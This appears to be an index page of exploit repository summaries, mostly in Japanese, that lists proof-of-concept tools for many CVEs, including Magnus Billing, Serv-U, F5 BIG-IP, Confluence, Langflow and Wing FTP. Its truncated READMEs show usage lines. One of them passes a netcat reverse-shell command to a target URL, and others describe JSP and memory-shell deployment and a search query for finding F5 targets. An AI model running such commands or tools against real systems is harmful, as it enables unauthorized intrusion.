CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC n0o0b による CVE-2023-30258-RCE の POC 使い方 usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd CMD Command to exec...

CVE-2021-35211

Serv-U CVE-2021-35211 エクスプロイト DoSの可能性 - 攻撃許可範囲を確認してください このエクスプロイトは毎回動作するわけではありませんが、約5〜6回に1回の割合でシェルコードを実行できる程度には動作します。ただし、失敗したエクスプロイトがServ-Uサーバーをクラッシュさせることもあります。攻撃許可範囲がサービスの損失や低下のリスクを許容していることを確認してください。テストで確認された症状は以下の通りです： クラッシュと自動再起動（最も一般的） 成功時および 失敗 時の両方でログインユーザーの切断 自動再起動に失敗するクラッシュ 自己責任 。 クイックスター...

jboss-autopwn-1

jboss-autopwn JBoss AutopwnはBlackHat Europe 2010で紹介されたものです。このバージョンは、Minded Securityによって発見されたJBoss認証バイパスVERB操作の脆弱性CVE-2010-0738を組み込んでいます。 C. Papathanasiou 2010 はじめに このJBossスクリプトは、対象のJBoss ASサーバーにJSPシェルをデプロイします。デプロイ後、スクリプトはアップロード機能とコマンド実行機能を使用して、インタラクティブなセッションを提供します。 機能は次のとおりです。 マルチプラットフォーム対応 -...

CVE-2024-36401-WoodpeckerPlugin

CVE-2024-36401-WoodpeckerPlugin はじめに CVE-2024-36401 のバッチ検出と利用、カスタムメモリーシェル注入をサポート 1. バッチ検出可能 2. URLアドレスのバックエンドは既にフィルタリング済み（URLをそのまま送るだけで良い） 3. カスタム生成したメモリーシェルを注入可能（デフォルトのメモリーシェル注入にはインジェクタークラス名が追加されています: java.lang.test 「目的はJDK11でのdefineAnonymousClassバイパス」） インストール ソースコードをダウンロードして実行 mvn package targe...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP の未認証 RCE 脆弱性 F5 BIG-IP iControl REST の認証バイパス RCE 脆弱性 fofa keywords: title="BIG-IP- Redirect" 使用方法 攻撃 $ python3 cve-2022-1388.py -t https://203.xxx.xxx.xxx + https://203.xxx.xxx.xxx is vulnerable input your command:...

cve-2018-11776-docker

CVE-2018-11776 DockerコンテナとGoで書かれたPOCエクスプロイト 独自のイメージをビルドして実行できます: docker build . -t yourimagename docker container run -it --rm -p 8080:8080 yourimagename または、私が愛情を込めて作成したイメージをプルすることもできます: docker container run -it --rm -p 8080:8080 tuxotron/cve-2018-11776 ポート8080で実行される脆弱性のあるアプリケーション...

CVE-2022-2992

CVE-2022-2992 GitHubインポートを介したGitlabにおける認証済みリモートコマンド実行 GitLab CE/EEのバージョン11.10から15.1.6まで、15.2から15.2.4まで、15.3から15.3.2までの全バージョンに影響する脆弱性により、認証されたユーザーが「Import from GitHub API」エンドポイントを介してリモートコード実行を達成できます。...

CVE-2023-46805

タイトル: CVE-2023-46805 の概念実証 - 教育目的のみ ライセンス: この作品は Creative Commons Attribution 4.0 International License CC BY 4.0 の下に提供されています。著作者が適切に表示されることを条件に、この作品を共有、複製、配布、送信、または他の目的に改変・使用することができます。 免責事項:...

ProFTPD_CVE-2015-3306

m4ud ProFTPD 1.3.5 RCE エクスプロイト CVE : 2015-3306! ProFTPd 1.3.5 RCE Usage: ProFTPD.py options Options: -h, --help show this help message and exit -l LHOST, --lhost=LHOST Local IP Required for Reverse Shell, -p LPORT, --lport=LPORT Port Required for Reverse Shell, -t TARGET, --target=TARGET Vulnerab...

CVE-2022-26134

CVE-2022-26134 使用方法: exploit.py url command...

security-writeups

Security Writeups Lab write-ups from self-directed work, mostly TryHackMe, plus a PortSwigger SQLi practical. The reasoning lives on the site — the full methodology, the payloads, the parts where I went wrong first — and this repo is the index and the scripts. Nine rooms, and they are not nine...

RCE-CVE-2025-3248

認証済みCVE-2025-3248 Langflowリモートコード実行 このPythonスクリプトは、CVE-2025-3248 を悪用して、脆弱性のあるシステム上で任意のコマンドを実行したり、リバースシェルを生成したりします。このエクスプロイトを使用するには認証が必要です 。 特徴 認証済みコマンド実行: ターゲット上で任意のシステムコマンドを実行します。 リバースシェル: リスナーにリバースシェルを生成します。 プロキシサポート: プロキシ（例：Burp Suite）を介してリクエストをルーティングします。 必要条件 Python 3.x requests ライブラリ...

nmap-scan-results

Nmap 扫描：发现 200 多个漏洞 严重： CVE-2023-38408 9.8, CVE-2024-38476 9.8, Slowloris DoS 完整报告...

CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

🔐 ReactRCE-Scanner CVE-2025-55182 — 高级 React 服务器组件 RCE 漏洞利用与评估框架 📑 目录 法律免责声明与道德须知 概述 核心能力 快速入门指南 架构与功能深入解析 配置参考 自动化测试套件 修复与缓解措施 贡献与社区 参考资料 许可证与作者 ⚠️ 法律免责声明与道德须知 本工具专为教育与授权安全测试目的而设计。 在未获得事先书面同意的情况下，针对目标未经授权使用本软件，将违反国际计算机犯罪法律，包括《计算机欺诈与滥用法案》（CFAA）、GDPR...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP に影響する CVE-2022-1388 の PoC。 使い方 $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --file FILE File list containing one or...

vulhub-struts2

Apache Struts2 S2-045 リモートコード実行 CVE-2017-5638 📌 概要 このプロジェクトは、Apache Struts2 CVE-2017-5638 におけるリモートコード実行 RCE の脆弱性 を実演するものです。 攻撃者は、巧妙に細工された HTTP Content-Type ヘッダーを利用して、脆弱なサーバー上で任意のシステムコマンドを実行できます。 このリポジトリは、Vulhub Docker ラボ を使用して、脆弱性を安全にテスト・理解できる環境を提供します。 🛠 環境セットアップ ホスト: Ubuntu 24.04 VirtualBox または...

CVE-2020-10567

POC-CVE-2020-10567 RCE PoC - RESPONSIVE filemanager v.9.14.0. メインブランチではありません ⚠️ Github プロジェクト: https://github.com/trippo/ResponsiveFilemanager 必要条件: 特になし。このエクスプロイトは認証不要です。 Responsive Filemanager はサーバー上のファイルを管理するウェブベースのファイル管理ツールです。この脆弱性 CVE-2020-10567 により、攻撃者は ajaxcalls.php?action=saveimg...

CVE-2021-26084

CVE-2021-26084 confluence リモートコード実行 RCE Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 リスク概要 本ツールは認可されたセキュリティテスト専用です。未承認・違法なサイト攻撃は禁止されています。 オンラインで「中華人民共和国ネットワークセキュリティ法」を読む 0x01 ツールの使用方法 バッチRCEスクリプトは、URLをurl.txtにインポートしてください。 単一サイトのRCEは以下のコマンドを使用してください： python confluencerce.py -u u...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server RCE エクスプロイト エクスプロイトタイトル: Wing FTP Server 7.4.4 Lua インジェクションによるリモートコード実行 CVE: CVE-2025-47812 テスト環境: Wing FTP Server v7.3.x Windows/Linux 影響: SYSTEM/root としてのリモートコード実行 RCE 重大度: Critical 説明 Wing FTP Server のログイン入力における \0 null バイト の処理に存在する脆弱性により、攻撃者はユーザーまたは管理者の Web...

Larascript

| | | | | | / || '| / |/ | / || '|| || ' \ | | | | | | || | | | |\ | | | | || | || | || ,||| ,||/ ||| ||| ./ | || 作者: @pwnedshell & @rsgbengi 📌 Larascriptとは？ Larascriptは、CVE-2018-15133を利用したスクリプトで、脆弱なLaravelアプリケーションが公開されている場合にリモートコマンドを実行できます。cat...